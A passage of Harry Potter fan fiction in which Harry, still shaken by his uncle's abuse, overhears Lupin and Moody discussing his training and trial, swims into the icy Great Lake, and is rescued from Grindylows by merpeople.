him at. </p>\n\n<p>\n\n</p><p> He was glad to see he hadn\'t lost his abilities in that department, and that his friends ever-burgeoning powers, didn\'t mean he could play a better game of Chess. </p>\n\n<p>\n\n</p><p> Ron didn\'t like to think that he was jealous, but he would admit that sometimes he couldn\'t help it. Everything seemed to happen to Harry. Famous. Skilled Quidditch player. Joining the house team in his first year. A natural talent for some defensive -he didn\'t even want to think about the offensive, that poor troll- magic\'s. Oh, and now quite possibly one of the most powerful Wizards who ever lived, couldn\'t forget that one. </p>\n\n<p>\n\n</p><p> But, as Ron would sometimes have to remind himself, for all the enviable things that happened to him, there were many, many unenviable things. </p>\n\n<p>\n\n</p><p> As he came from such a large family, he knew that they could sometimes be a pain, but he couldn\'t live without a single member of his family, even Percy. He didn\'t know how to, and for Harry to never have even known his parents, when so many around him had, was a kind of torture Ron hoped he would never have to understand. Then there was the more obvious factor of You-Know-Who, and the Dursleys. If ever Ron found himself getting jealous, he found he could forcibly remind himself of things like the time Harry and Cedric disappeared at the Triwizard Tournament, or their more disturbing reappearance. He could remind himself of the day he opened the cupboard door, but that tended to lead him to feeling like throwing up again. </p>\n\n<p>\n\n</p><p> It reminded Ron, that for everything his friend had, there were another three things he got, that no one their age, or no one anyway, should have to experience. And that was why, he intended to be there for Harry, even if he would always be in his shadow. It was enough to know that he could make a difference now. </p>\n\n<p>\n\n</p><p> He and Harry struck up a conversation about Quidditch as they played Chess. Harry admitted he missed the thrill of flying around on his broom, which had remained packed in the bottom of his trunk since he\'d last used it, during the first task of the Triwizard tournament. Gryffindor, was currently down a Captain and a Keeper. Apparently Alicia Spinnet had volunteered to take over temporarily, until a more permanent solution could be found. She didn\'t want to have to devote herself to it, since her N.E.W.T\'s were coming up this year. </p>\n\n<p>\n\n</p><p> She had announced that they would be holding trials for a new Keeper this week. Ron had decided to tryout, and Harry gave his full support, though as it would be a team decision, he couldn\'t guarantee he would get it. But he did promise that he would practice with him, as he could do with it himself. </p>\n\n<p>\n\n</p><p> They finally went to bed very early in the following morning, filled up with more sweets than was probably good for them. Having played seven games of Chess, four rounds of Exploding Snap, which they had to stop, since the explosions were keeping the others awake. Harry seemed to fall into a deep sleep straight away, his dreams were strangely peaceful. Ron, however went to bed, and found it very difficult to sleep, for though Harry seemed outwardly happy, Ron couldn\'t shake the feeling that he wasn\'t. That his emotions seemed forced, and Ron, though promising himself to be there for his friend, was unsure as to how he could be of help. He did decide to talk to Hermione about it the next morning. But once he did fall into a fitful sleep, and awoke groggy and grumpy the next morning, he had forgotten all about it. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> The next few weeks went by in a blur for Harry. A few days after he had woken up, from his seemingly last ever practical with the Staff, things were almost settling into a normal pattern. </p>\n\n<p>\n\n</p><p> Get up - Get dressed - Go downstairs, avoiding contact with anybody below the fourth year - Get some breakfast in the Great Hall, while being stared at by most people from the third year and under - Have a lesson, whilst being pestered with a thousand questions he couldn\'t answer - Have another lesson, former problem still around - Have lunch, getting stared at some more - Have another lesson - And so on, and so on. The words boredom and irritation could have taken on a new meaning in Harry\'s mind. If he\'d really cared. </p>\n\n<p>\n\n</p><p> The lessons Harry was having for the Staff, had become some of his least favourite. Ron had been right. They were just like Prof. Binn\'s classes, and it was harder to fall asleep inconspicuously, when you\'re the only student. They never got any more interesting. All the teachers could do was spout theories at Harry, and not facts. More often than not, they\'d end up asking Harry about the Staff. </p>\n\n<p>\n\n</p><p> He had been correct in his assumption that the teachers would no longer allow him near the Staff itself. Something which did irritate him greatly. Being aware of its presence, and yet not being able to use it, was like having a voice at the back of his mind that never shut up. It was a constant ache. He remembered once comparing his connection to the Staff as being like having the ghost feeling of a missing limb. Only now it felt more painful. Like he could remember the loss of the limb as well. But no-one else understood. He felt Hermione might do to some extent. But perhaps that was because she was the only person he really spoke to. </p>\n\n<p>\n\n</p><p> Something else had occurred to him. Dumbledore and the other teachers, they were afraid, and it was whether they were afraid for him or of him, that Harry could not tell. He did not feel that they were being at all fair. They claimed to want to train him, and help him to achieve all that he could, and yet would not allow him near the one thing that would help him achieve this goal. How was he supposed to become any good at controlling this power, if he was not allowed to practice it? </p>\n\n<p>\n\n</p><p> After three lessons, comprising of two hours of dull theory spouting, it had finally become clear to Dumbledore, that this wasn\'t helping Harry in the slightest, as he had to be prodded awake every so often. It was then that he struck upon the idea that Harry needed to be trained to be both physically and mentally capable to use the Staff, and perhaps the history lessons could be shortened accordingly. </p>\n\n<p>\n\n</p><p> Harry had been a little less than pleased. In the past few weeks, he\'d become pretty much as fit as he had been before the summer holidays. Wasn\'t Quidditch training enough? </p>\n\n<p>\n\n</p><p> So the once boring history/theory lessons, had now become what Harry glibly described as \'P.E from hell\'. </p>\n\n<p>\n\n</p><p> Moody and Lupin decided that the first step was to have him start running laps around the lake. It was a pretty big lake. </p>\n\n<p>\n\n</p><p> Sirius joined him on these runs for moral support. Every time Harry gasped and panted over the magically extended finish line, Sirius would always tell him to buck up, and try harder. After all, if an old man like himself could beat Harry, and barely break a sweat doing it, it didn\'t look too good, did it? </p>\n\n<p>\n\n</p><p> Harry did point out, that Sirius was in his animagus form when he ran with him, and as such, four legs was likely to be better than two. </p>\n\n<p>\n\n</p><p> They got to a point in the training, around mid-November. When the first real chill set into the stone walls of Hogwarts walls, and the first drops of snow had begun to blanket the grounds, that Moody and Lupin, decided that running was no longer enough, and that the spell/curse deflection lessons, needed to become a more regular occurrence - rather than the two lessons a week he was already having. </p>\n\n<p>\n\n</p><p> Harry protested. </p>\n\n<p>\n\n</p><p> These were clearly no longer lessons that dealt with the Staff, or how to use it. It seemed only to be extra Defence against the Dark Arts lessons. It was no wonder that he was now top of his class, even above Hermione, in this particular subject. </p>\n\n<p>\n\n</p><p> His time was no longer his own. He rarely got to see Sirius, in his human form anyway. Though he knew that Sirius was around. The students had become used to seeing the large black dog, called Snuffles by all, in and around Hogwarts. So much so, that they tended to let their guard down around it, and continue their conversations as normal. It was frequently by this means that the Headmaster and the other teachers, kept the students in check, with the promise -magically binding, of course- never to reveal what they knew of Harry\'s gift, or the presence of the Staff at Hogwarts, until they were ready to tell the wizarding community themselves. Unfortunately, this meant a lot more hard feelings between the Slytherin\'s -whose mail was read by Snape- and the Gryffindors. </p>\n\n<p>\n\n</p><p> But as of the moment, the larger wizarding community remained ignorant, of the unusual- well, slightly more - goings on at Hogwarts. As far as they were concerned, the Staff of Gaia, was still a missing magical relic- for no one , save a few sworn to secrecy, knew it had even been found. </p>\n\n<p>\n\n</p><p> The Daily Prophet was still running its \'The trial of Potter\'s Uncle\' scoop. Being mentioned at least once a week. </p>\n\n<p>\n\n</p><p> The trial date had, thankfully, been set back, from this month, to early next year. So Harry had a little longer not to think about it, or Uncle Vernon. Though he could not stop his thoughts from occasionally turning to his Aunt Petunia. He wondered if she would be present at the trial, and if so, on whose side would she be? </p>\n\n<p>\n\n</p><p> Quidditch training went as well as anybody could have hoped. The minute he\'d gotten onto his FireBolt, and kicked off, soaring high above the stadium, it was though he\'d never left the skies. Alicia had decided that she could fit in being team Captain, around studying for her N.E.W.T\'s. But she promised Harry that she would begin training him for this position, from around March, so that there would be a new Captain ready for next year. Harry wasn\'t sure if he liked this new development. He did love to fly, and playing Quidditch, was a lot of fun. But he wasn\'t sure if he wanted to be the team Captain </p>\n\n<p>\n\n</p><p> He was happy, however, at the outcome of the Keeper tryouts. Ron had shown them a promising ability that few, including the twins, had even been aware he\'d possessed. Quickly blowing away all other competition for the job, Ron had finally done something at Hogwarts that he thought, would help his parents feel some pride in him. Though secretly, Harry believed that with the speed and tactical mind Ron possessed -even if he wasn\'t aware that he had one- that he would make a much better Chaser, something which Harry felt he might have to see to next year. If he did become Captain. </p>\n\n<p>\n\n</p><p> But right now he had only one concern. </p>\n\n<p>\n\n</p><p> Swimming. </p>\n\n<p>\n\n</p><p> In the Great Lake, outside of Hogwarts. The freezing cold Great Lake out side of Hogwarts, to be exact. Harry had vehemently refused to do so. It was too big, and too cold. Lupin, however, had other ideas. </p>\n\n<p>\n\n</p><p> &quot;Harry I know some of this is hard on you, but we\'re just trying to toughen you up a bit. A quick dip in the lake would do you the world of good.&quot; </p>\n\n<p>\n\n</p><p> Needless to say, Harry remained unconvinced. Until one day, around mid-December, Lupin asked him exactly why he was so against it. </p>\n\n<p>\n\n</p><p> It took Harry a few moments to master the strength of will, to look Remus in the eye, and then tell him. </p>\n\n<p>\n\n</p><p> &quot;Because it\'s too public.&quot; </p>\n\n<p>\n\n</p><p> &quot;I don\'t understand Harry. What do you mean? Your used to being in the public eye by now aren\'t you?&quot; </p>\n\n<p>\n\n</p><p> &quot;I know. What I meant was ... what I meant was ...&quot; </p>\n\n<p>\n\n</p><p> Lupin was gazing at him intently, as Harry attempted to stutter out his response. But Moody intervened. </p>\n\n<p>\n\n</p><p> &quot;Remus, leave the boy alone. Can\'t you see? He\'s shy for goodness sake!&quot; </p>\n\n<p>\n\n</p><p> &quot;Oh&quot; </p>\n\n<p>\n\n</p><p> &quot;I\'M NOT A BOY!&quot; Harry shouted back, before he realised that the words were even passing his lips. </p>\n\n<p>\n\n</p><p> Lupin appeared to be shocked by his outburst, though Moody\'s face remained carefully impassive. </p>\n\n<p>\n\n</p><p> &quot;Of course not. Perhaps you are growing up Mr Potter, and we\'ll just have to remember that from now on, won\'t we Remus?&quot; </p>\n\n<p>\n\n</p><p> Lupin seemed to shake himself out of whatever thoughts had momentarily taken him, in order to nod his head in an affirmative. Moody, however, continued to stare at Harry, making him feel uncomfortable. It was almost a relief to running around the lake a short while later. </p>\n\n<p>\n\n</p><p> He didn\'t always like running. Sometimes he could clear his mind, and focus on nothing but the run. One foot in front of the other, breathing in and out. But at other times, running could give him too much time to ponder on things that had happened, things that he might have done, things that might have been. And these things frustrated him greatly, though he wasn\'t always aware of it. If he could not clear his mind of such thoughts on theses days, then he had to fill them with something else. Schoolwork or Quidditch tactics seemed to be the most popular. </p>\n\n<p>\n\n</p><p> Luckily for him, today was one of those days, in which he could clear his mind, mostly. </p>\n\n<p>\n\n</p><p> Finishing his lap around the lake, Harry ran back towards the changing rooms that were tucked just inside the Castles courtyard. He ran back as he did every day, despite his usual near-exhaustion, in order to miss the post-lesson crush. </p>\n\n<p>\n\n</p><p> When he\'d had finished cleaning up and getting changed, Harry decided to return to see Remus and Moody, in the small classroom nearby, that they used for their lessons. Though Moody was partially correct in his assumption about Harry\'s apprehensiveness surrounding swimming, he hadn\'t told the whole story. And finally, Harry thought that he should tell them. </p>\n\n<p>\n\n</p><p> They were not expecting him, and Moody could not have been paying much attention to the corridor outside the classroom with his magical eye, or Harry would never have overheard this particular conversation through the slightly ajar door. </p>\n\n<p>\n\n</p><p> &quot;You can\'t keep pushing him like this Alastor.&quot; </p>\n\n<p>\n\n</p><p> &quot;Why not Remus? I keep being told that he has the potential to become as powerful, if not more so than Voldemort, and I\'ve certainly seen the evidence of it.&quot; </p>\n\n<p>\n\n</p><p> *As powerful as Voldemort? Surely they mean Dumbledore.* </p>\n\n<p>\n\n</p><p> &quot;The most powerful in magic maybe, but he\'s been traumatised. He spent a month getting the crap kicked out of him by his Uncle, at a time in his life when he needed some support. He\'s fragile right now. We can\'t keep pushing him.&quot; </p>\n\n<p>\n\n</p><p> *Fragile!!* </p>\n\n<p>\n\n</p><p> &quot;And why can\'t we keep pushing him? What do you suggest we do, the day Voldemort finally breaks down those gates to the school, hmm? You know that even with our combined power, we could only slow him down. Potter is probably our last best hope, and if he can\'t be made strong when that day comes, then God help us all. And the rest of those poor bloody muggles, he will rule over them like a king, when he wipes us out.&quot; </p>\n\n<p>\n\n</p><p> &quot;Alastor, I know that your just trying to make him strong to protect him, but so am I. And right now, he can not handle a lot of things. He just shuts out everything that happened with his Uncle, he\'s been ignoring his friends. I don\'t think that I\'ve seen him laugh or cry in months. He\'s like a machine. The only things he focuses on are his schoolwork and Quidditch. When I\'m talking to him, half the time I don\'t feel like he\'s even in the room with me. I think that his friends are starting to lose patience with him.&quot; </p>\n\n<p>\n\n</p><p> &quot;He still talks to that girl though, what was her name ... Granger?&quot; </p>\n\n<p>\n\n</p><p> *Hermione* </p>\n\n<p>\n\n</p><p> &quot;Hermione Granger. I know, she\'s probably the only one he comes even close to letting in.&quot; </p>\n\n<p>\n\n</p><p> There was a pause for a while. Harry leaned in a little closer. </p>\n\n<p>\n\n</p><p> &quot;You know that he still flinches when anybody tries to touch him, right?&quot; </p>\n\n<p>\n\n</p><p> &quot;I know Remus, I know.&quot; </p>\n\n<p>\n\n</p><p> &quot;And you shouldn\'t call him \'boy\'. Sirius told me that\'s what ... it\'s what his Uncle used to call him.&quot; </p>\n\n<p>\n\n</p><p> &quot;I suppose that explains why he got angry earlier.&quot; </p>\n\n<p>\n\n</p><p> There was a brief sound of someone shifting to sit down, and sighing as they did so. It was Remus. </p>\n\n<p>\n\n</p><p> &quot;I just can\'t keep pushing him ... I just can\'t. What with You-Know-Who disappearing this last month, and the trial coming up. </p>\n\n<p>\n\n</p><p> You know that the muggle council have appointed some hotshot young lawyer, who\'s never lost a case, to his Uncle? By all reports, that man is already asking all the right questions, to poke holes in Harry\'s case. How am I supposed to tell Harry, that the trial might not be as clear cut as it should have been?&quot; </p>\n\n<p>\n\n</p><p> &quot;Remus my old friend. You don\'t have to. Sirius is his Godfather, let him handle it. He\'s the one who should be talking to Mr Potter about these things.&quot; </p>\n\n<p>\n\n</p><p> &quot;For Gods sake Alastor! Sirius may be Harry\'s Godfather in name, but I care just as much for Harry. James always asked me to be a part of that responsibility. I will not let him down now.&quot; </p>\n\n<p>\n\n</p><p> &quot;I am sorry Remus, I did not mean to imply that your role in Harry\'s life was any less important. But as you yourself pointed out, Sirius is, in name Harry\'s Godfather. So it is not your responsibility, as much as it should be his. That was all I meant.&quot; </p>\n\n<p>\n\n</p><p> &quot;James made me promise you know. On the day he died, we met, and he made me promise, did you know that?&quot; </p>\n\n<p>\n\n</p><p> There was a pause, and Harry could make out Mooody\'s form shaking his head, before sitting down across from Lupin. </p>\n\n<p>\n\n</p><p> &quot;That morning we met up to talk about work. But when I saw him, he pulled me straight to the most private table of the Leaky Cauldron, and told me that there was something very important that he had to talk to me about. I wish that I\'d paid more attention. He seemed so ... unlike himself. On edge, nervous, like he was expecting to be attacked that very minute, and all the while he seemed desperate to finish up and get back home. </p>\n\n<p>\n\n</p><p> He told me that ... that though he\'d made Sirius Godfather by law, he considered me to be as much another father to Harry as Sirius. And wished that wizard law would have permitted a second Godfather. </p>\n\n<p>\n\n</p><p> He must have known ... he asked that if anything ever happened to him or Sirius, that I could be there to take care of Harry. </p>\n\n<p>\n\n</p><p> And I couldn\'t, I couldn\'t do the last thing James ever asked of me. Because by law those god-awful muggles were first in line to be his carers. I had no legal claim to him. I fought the courts for three years to be allowed custody, but they wouldn\'t even let me see him once. The Dursleys had no idea of course. Even Dumbledore would not support me in my efforts, though I understand that now. </p>\n\n<p>\n\n</p><p> When Dumbledore relented and finally told me of what he was doing, I dropped the case immediately, but I still wanted to be able to raise James son the way he would have wanted. But I could not. So instead I did everything I could to help Dumbledore set up the magical defences that surrounded Harry\'s home. </p>\n\n<p>\n\n</p><p> I searched for months for someone who could be a secret keeper, and I bumped into Arabella again. The war with You-Know-Who had taken a lot from her, and she was willing to take on the appearance of a harmless old woman, and spend however many years looking over Harry. You should have seen her face when she contacted me to say she\'d met Harry for the first time. Said he was the spitting image of James, and that she could barely contain herself from giving him a hug and telling him everything right then and there. She was so happy every time the Dursleys dumped Harry on her, and then she\'d cry on my shoulder because she couldn\'t tell him who she was.&quot; </p>\n\n<p>\n\n</p><p> *No, they can\'t mean ... Mrs Figg?* </p>\n\n<p>\n\n</p><p> &quot;Remus, you can not blame yourself for something that happened so long ago. It was simply ... unfortunate, that Harry\'s relatives were ... less-than tolerant of our kind.&quot; </p>\n\n<p>\n\n</p><p> *Less than tolerant? Is that all!* </p>\n\n<p>\n\n</p><p> &quot;I\'m sorry Alastor, I know that nothing can be done about the past now, what\'s done is done. But I can not think of a single way to help Harry now, beyond what we\'ve already tried. That\'s what is killing me. </p>\n\n<p>\n\n</p><p> He barely acknowledges anyone anymore. Today was the first sign I\'ve seen for many weeks of some deeper emotion. Ever since we stopped him from using the Staff again. </p>\n\n<p>\n\n</p><p> I don\'t understand why having to swim would produce such a reaction.&quot; </p>\n\n<p>\n\n</p><p> &quot;Remus, use your head man. Do you not recall where Harry spent his holidays? I\'ve seen many bad things in my time. But the worst of it is always someone who abuses a family member, in such a way as to be able hide it from the plain sight of anyone who sees them.&quot; </p>\n\n<p>\n\n</p><p> &quot;You mean his back? Oh god your right! I never even thought.&quot; </p>\n\n<p>\n\n</p><p> &quot;I had hoped that something like this would not happen, if we can not get him to train properly, he\'ll never qualify to be an Auror.&quot; </p>\n\n<p>\n\n</p><p> &quot;Alastor, he doesn\'t even know that this is what his training is for. I don\'t want him to have to worry about having to pass another bunch of exams at some point in his future.&quot; </p>\n\n<p>\n\n</p><p> &quot;Very well. But I\'m sure his father would want him to follow in his footsteps. Even if he never was the most conventional Auror himself. But Harry will never achieve the great things that we have always expected from him, if he is too shy to even go for a swim.&quot; </p>\n\n<p>\n\n</p><p> There was a sound of shuffling feet, and chairs being pushed back, and Harry numbly thought that now would be the best time to move. </p>\n\n<p>\n\n</p><p> As he made a sharp exit through one of the corridors to the other side of the classroom, Harry could feel his head spinning. He felt a little sick. Lost between strange feelings that were creeping at the back of his mind. Confusion, despair and complete rage. So many things had been left unsaid. </p>\n\n<p>\n\n</p><p> So many things. Lupin had seen his father the day he died. He\'d tried to gain custody of Harry as a baby, and failed. Mrs Figg? Voldemort had disappeared, something which could definitely could not be described as a plus, when you didn\'t know where he\'d turn up next. He was really receiving Auror training, and his father had been one. Why hadn\'t they told him? </p>\n\n<p>\n\n</p><p> And worst of all, at that current moment in Harry\'s mind, was the news about the trial. Someone was actually defending his Uncle, how could anyone do that? And not only not be doing it grudgingly, but doing it well enough to leave a question in the minds of Lupin and the others, as to how straight-forward the trial would be. There being one at all, was one thing that seemed to penetrate the wall Harry had put up around himself, and bring forward a feeling in his stomach that he could only describe as disgust. Did this lawyer who was defending his Uncle, truly believe that his client was innocent, or was he the muggle equivalent of a Deatheater? Did he really have to air his dirty laundry in public? And being so unprepared wasn\'t helping. No one, not even Dumbledore, had told Harry much about what to expect at the trial. Harry didn\'t exactly know much about muggle laws, or their court system, except for the few things he\'d seen on t.v. He didn\'t know if a wizard court would be any different from a muggle one, except for taking the use of magic in to account. </p>\n\n<p>\n\n</p><p> So many things seemed to differ from the muggle version of normal. Would he be required to give evidence, or would he simply be the evidence? Would his friends have to be there to give evidence, or his Aunt Petunia and Dudley? Or would they simply be given the truth potion that Snape seemed so fond of? </p>\n\n<p>\n\n</p><p> Harry felt some frustration forming in the back of his mind, that no-one would tell him anything, beyond the ever-changing start date of the trial. </p>\n\n<p>\n\n</p><p> But perhaps that was not the sole reason that Harry felt only anger at that moment. Lupin and Moody had sat there discussing Harry to a point where he almost felt violated at how perceptive they had been. And though every emotion Harry felt in the past few weeks seemed to a muted version of what he was capable of, the few that did escape the corner of his mind, and affect his conscious thought -such as it was- were only feelings of anger, and deep sadness, regret and a few other negative emotions. </p>\n\n<p>\n\n</p><p> Remus and Moody had said frequently that Harry was basically bottling up his emotions, and not letting them out to anyone, besides Hermione, to a small degree. </p>\n\n<p>\n\n</p><p> But what else was he supposed to do? </p>\n\n<p>\n\n</p><p> Was he supposed to give someone every graphic detail of what happened to him? Tell how he could sleep at night, but that most of his dreams were haunted by these events, or the incredibly sad, but beautiful woman, with the strange shaped ears? </p>\n\n<p>\n\n</p><p> But then something else worked itself through the cloud around Harry\'s mind. He was angry, but not at himself, or his Uncle. He was angry at them. At Lupin, Sirius, Dumbledore, and just about everyone else who was a parent figure to him in the wizarding world. They should have noticed, shouldn\'t they? They should have realised something was wrong, and come and got him before things had gotten really bad. He hadn\'t been able to write to them, and yet they never came to see why. He\'d spent just over a month at the Dursleys, and the only good thing that had happened to him, was that his Aunt now cared about him. </p>\n\n<p>\n\n</p><p> The anger that was twisting his thoughts, finally exploded within him, as the first real feeling he\'d had in months. A burning anger, darker than that of the black nights that hung over the Forbidden forest, clawed at him. </p>\n\n<p>\n\n</p><p> How could they? How dare they! How could they be saying that he was their last best hope? How could they put this on him, and yet complain endlessly of his weaknesses? They thought him frail, and acted as though he would break down any moment. Moody had correctly guessed the reason for Harry\'s shyness, but he had wanted to be able to say it himself. They made it sound as though Harry was barely able to dress himself anymore. </p>\n\n<p>\n\n</p><p> It was probably then, that Harry made the decision to go and swim in the Great Lake. To prove that he was capable of something. After all if Victor Krum could manage a swim in the lake, so could he. </p>\n\n<p>\n\n</p><p> A short while had passed between Harry\'s aimless wandering around the school corridors, and his return to the changing rooms, to get the few things he needed for his afternoon swim. As he was leaving the school again, he passed many students who were on their way to dinner. </p>\n\n<p>\n\n</p><p> &quot;Hey Harry, where are you going, it\'s time for some grub?&quot; </p>\n\n<p>\n\n</p><p> Ron\'s voice filtered through above the chatter. Harry didn\'t look back. </p>\n\n<p>\n\n</p><p> &quot;For a swim.&quot; He called back, not really caring if he\'d heard him or not. </p>\n\n<p>\n\n</p><p> The air had a bitter chill to it when Harry got outside. The sun had begun to sink more rapidly into the west. But still gave enough light, to make it an otherwise pleasant evening. </p>\n\n<p>\n\n</p><p> When he arrived by the lake, he changed quickly, and moved towards the waters edge. The water was very black, like that of the hard obsidian stone. Dark but polished. The still light blue sky was reflected on each the ripples of water as it lapped at Harry\'s feet. There was no sense of depth to it. It was as black at the surface, as it would be at the very bottom of the lake. Harry stared at it for some time, the water\'s colour reflecting more than just his image. </p>\n\n<p>\n\n</p><p> He was not sure how long he\'d stared at it. But once he became aware of the sound of footfalls, no to far behind him, and the sound of someone breathing in quickly, in a gasp, now seemed as good a time as any, to go in. </p>\n\n<p>\n\n</p><p> The water certainly looked more inviting, as he waded in. And at first as he was swimming, he didn\'t notice just how cold it was. In fact, just how icily painful it was. What he was dimly aware of, was whoever had been behind him, was now faintly calling out his name. That and asking him other things, like to come back. And then that voice seemed to be joined by another. But Harry was focused on only one thing. </p>\n\n<p>\n\n</p><p> He carried on swimming. Ignoring the voices, but finally the cold started to penetrate his awareness. The icy water was not freezing him, at least not at first, right now, he felt like he was slowly burning, hotter, and hotter. He felt like he was on fire, but desperately tried to ignore how unsafe any of it felt, not just the temperature. </p>\n\n<p>\n\n</p><p> When he finally lifted his head out of the water long enough to anything other than breathe, and open his eyes, he was surprised to see that he\'d already reached the centre of the lake, which was not called the Great Lake for nothing. </p>\n\n<p>\n\n</p><p> He swam again for a short while, his legs and arms were beginning to tire quickly, his left leg in particular, was beginning to feel like a dead weight. </p>\n\n<p>\n\n</p><p> That was before, a searing hot pain ripped through it. </p>\n\n<p>\n\n</p><p> Something sharp and painful seemed to have clamped itself around a part of his leg, just below the kneecap. Whilst miniature forks seemed to be ripping at the rest of it. </p>\n\n<p>\n\n</p><p> He stopped and yelped in both surprise and pain, any attempts he had been making to ignore his own tiredness, and the cold of the lake, had been completely deflated. They were now his solitary awareness, as well as the burning pain in one leg, and the sensation of a cloud of liquid warmth passing over the other. He grimly realised that this was his own blood, mixing with the water of the lake. He attempted to shift his leg, to see what was causing him pain, and assess the damage, but the lake betrayed him in its inky blackness. He could see nothing. </p>\n\n<p>\n\n</p><p> He looked to the shoreline, and from the side he\'d just come from, several people-shaped dots moved about. Three had separated from the rest, and appeared to be running around the lake, in an effort to either meet him on the other side, or simply get closer. One of the figures was larger than the others, suggesting that they were a fully-grown adult. And quite a bit further ahead of this figure, was that of a rather large dog, running at full speed. It would have made for an otherwise comical scene. Like a dog getting away from its owners at a day in the park. Only this wasn\'t a park, and this dog was actually Harry\'s guardian, probably terrified, and desperate to know why he\'d stopped for so long in the middle of a very cold, very deep lake. </p>\n\n<p>\n\n</p><p> A moment passed in which the burning pain in his leg became more discernable. He was able to identify it, not as one clump of pain, but as several smaller dots of pain, forming semi-circles, one on either side of his leg. In other words, teeth. Teeth with a vice-like grip on his leg. Not only was the owner of these teeth, biting him, but apparently saw fit to scratch him for all it was worth, with tiny fork-like hands. </p>\n\n<p>\n\n</p><p> Harry was, putting it mildly, a bit miffed. Something had seen fit to make a meal of him, but it was decidedly too small to do anything other than bite, hold on for dear life, and cause some severe pain. </p>\n\n<p>\n\n</p><p> Balancing himself on his back in the water, Harry slowly lifted his leg up towards the surface. </p>\n\n<p>\n\n</p><p> He was greeted with the sight of the ugliest little water-demon, Grindylow, he\'d ever seen. It seemed to panic as it\'s skin made contact with air above the surface, and bit in deeper. </p>\n\n<p>\n\n</p><p> Harry cried out briefly in pain. Stupidly, in a brief moment of panic, he tried to shake it loose. Only succeeding in having the Grindylow clamp its teeth down even further, and digging its claws down into his flesh like small hooks. </p>\n\n<p>\n\n</p><p> It was then that the water demon began emitting small, but shrill whistling sounds, irritating as it practically pierced Harry\'s eardrums. It sounded like someone who had slightly too much saliva in their mouths, attempting to whistle with two fingers. </p>\n\n<p>\n\n</p><p> Harry thought he could hear a faint echo through the water. Until it became much louder. </p>\n\n<p>\n\n</p><p> It was when the small air bubbles, at various spots around him, began to break the surface, around twenty of them, that Harry realised it was no echo. </p>\n\n<p>\n\n</p><p> It was the reply call of twenty other Grindylow, all coming to the aid of their fellow demon, and to enjoy dinner. </p>\n\n<p>\n\n</p><p> *Not good* </p>\n\n<p>\n\n</p><p> Was about all his tired mind could muster. He could hear people calling his name now, from on the banks of the lake, but he didn\'t think that anyone would be able to get to him in time. What were the chances that anyone had brought their brooms with them anyway? </p>\n\n<p>\n\n</p><p> After months of feeling very little in the way of any kind of emotion, other than aching numbness, in which anything he did feel, seemed to be only the barest memory of what it should be like. It occurred to Harry, as the Grindylows advanced, that he really, really did not want to die. Not yet. He had a lot more to live for than most people. He couldn\'t die, not today, at least not today. Being eaten alive would also wouldn\'t be the most pleasant way to go. </p>\n\n<p>\n\n</p><p> He could have kicked himself. He hadn\'t even thought to bring his wand with him. It still lay, folded amongst his robes, on the other side of the lake. </p>\n\n<p>\n\n</p><p> Just as the Grindylow were beginning to get rather too close for comfort, Harry did the only thing he could think of. He mustered up the nastiest glare he could, summoned from many years of watching Snape, who had perfected the art. And uttered a particularly foul muggle curse, something Uncle Vernon had managed to tutor him well in. </p>\n\n<p>\n\n</p><p> All of the Grindylows suddenly jerked backwards, their heads making similar jerky movements about them. They began emitting ear-piercing screams, moving their bodies all around, as if looking for something. </p>\n\n<p>\n\n</p><p> The Grindylow attached to Harry\'s leg, if possible, bit in even harder. </p>\n\n<p>\n\n</p><p> *Wow, didn\'t know a muggle curse was that bad.* </p>\n\n<p>\n\n</p><p> Harry\'s mind said fuzzily. Blood loss was rapidly becoming an issue. </p>\n\n<p>\n\n</p><p> Another shrill cry caught his attention, because it wasn\'t that of a Grindylow, but that of a Merperson. And a second cry did come from a Grindylow, as it was impaled on a surfacing Merpersons Trident. </p>\n\n<p>\n\n</p><p> Just as the blackness of an oxygen and blood deprived brain, began to creep over him, Harry saw the glint of metal against cold-grey skins. The evening sun, highlighted the tridents, but it was a strangely lifeless white. </p>\n\n<p>\n\n</p><p> More noises, but this time one that sounded like speech, or some form of command. Something or someone, seemed to be telling him to stop struggling, and to relax. At once, clammy, grainy feeling arms wrapped themselves around Harry\'s chest. Almost at once, Harry felt at peace with the request, and obeyed, letting himself sink backwards against those arms. </p>\n\n<p>\n\n</p><p> There was a pinch on his leg, and a loud deafening scream, something was prying the Grindylow away from his leg, and the water-demon was not pleased about it. </p>\n\n<p>\n\n</p><p> Pain from the wound suddenly being opened to the lake water around it, shocked Harry back from his daze. </p>\n\n<p>\n\n</p><p> There were four Merpeople in front of him, all holding Tridents, some with Grindylows still attached. </p>\n\n<p>\n\n</p><p> One of them swam closer and from under the water, lifted Harry\'s leg to the surface. Whilst another came forward, and began wrapping a green seaweed-like bandage around it. All at once Harry\'s leg began to tingle, as the life seemed to twitch back into it. </p>\n\n<p>\n\n</p><p> When they were done, they backed off, and formed a protective circle around him. The Merperson behind him, tugged him lightly. Startled at how much better his leg suddenly felt, Harry got the hint, and turned onto his front, gently swimming forward. The Merperson behind him, helped to propel him along, with powerful kicks of their tail. The others stayed surrounding him, occasionally, diving beneath the water, and re-emerging moments later with another Grindylow, or Grindylow parts, stuck to their Tridents. </p>\n\n<p>\n\n</p><p> Occasionally, he could hear them calling to one another, pointing at darker shapes beneath the water, which sometimes were water-demons, and they paid for straying too close. </p>\n\n<p>\n\n</p><p> Harry hadn\'t realised just how far out he\'d been, but it took almost five minutes of steady swimming to reach the side of the lake. At which point he felt two sets of strong, human arms pulling him up out of the water. </p>\n\n<p>\n\n</p><p> &quot;Harry, what the hell did you think you were doing?You could have been killed!&quot; Sirius\'s voice rang out clearly through his water-logged ears </p>\n\n<p>\n\n</p><p> He suddenly felt blinded, as the day-light seemed to return. He recalled that it hadn\'t been that late when he\'d set out, but it was as if, the closer he\'d gotten to the centre of the lake, the darker it had gotten. All light seemed to have been swallowed up and blocked out. And though the light was now rapidly fading, as the sun sunk into the hills of the Forbidden Forest, it felt like a bright daybreak to him. He shivered, not only from the cold, but from the sudden feeling of being wide awake. As if he\'d not truly felt this way for a very long time. </p>\n\n<p>\n\n</p><p> A hundred feelings he had not felt for some time, poured over him. And he felt all that he was capable of. Anger, sadness, fear. Joy, love, passion. Jealousy, and compassion. Everything that he\'d kept bottled up for so long, erupted, and he truly felt each and every one of them. </p>\n\n<p>\n\n</p><p> He regained control so quickly that no one noticed him do anything but shiver from the cold. Except for Hermione. Harry looked back at the water, to see Dumbledore conversing in Mermish to the same ferocious looking Chieftainess, that he\'d seen during the second task of the Triwizard tournament. He realised that it was her who\'d helped him to swim back to dry land, somewhere that Harry intended to stay for the foreseeable future. 